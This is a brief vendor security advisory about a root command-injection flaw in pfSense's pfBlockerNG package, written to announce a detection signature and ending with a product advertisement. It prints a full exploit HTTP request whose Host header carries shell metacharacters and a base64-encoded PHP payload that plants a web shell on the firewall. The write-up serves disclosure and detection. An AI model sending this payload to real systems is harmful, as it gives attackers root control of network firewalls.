Application Details
pfBlockerNG is a pfSense® software package used for IP/DNS-based filtering. Its purpose is to extend pfSense's core firewall functionality by allowing users to control and manage inbound and outbound access, through the firewall using IP and DNS control lists.
Vulnerability
pfSense pfBlockerNG could allow a remote attacker to execute arbitrary commands on the system, caused by improper input validation.
Identification
By sending a specially crafted request using shell metacharacters in the HTTP Host header, an attacker could exploit this vulnerability to execute arbitrary commands as root on the system.
GET /pfblockerng/www/index.php HTTP/1.1
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Host: ' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; 'Detection
By turning this into a traffic file and matching rule, we are able to detect attempts to execute arbitrary OS commands as root, via shell metacharacters, in the HTTP Host header.
Coverage
Idappcom has created signature 8023103 along with a traffic file for this vulnerability.
References
Traffic IQ
If you are concerned that your business may be at risk of this vulnerability or others why not try out our Traffic IQ software which can scan your defences and report any issues. Learn more here: https://www.idappcom.co.uk/traffic-iq-professional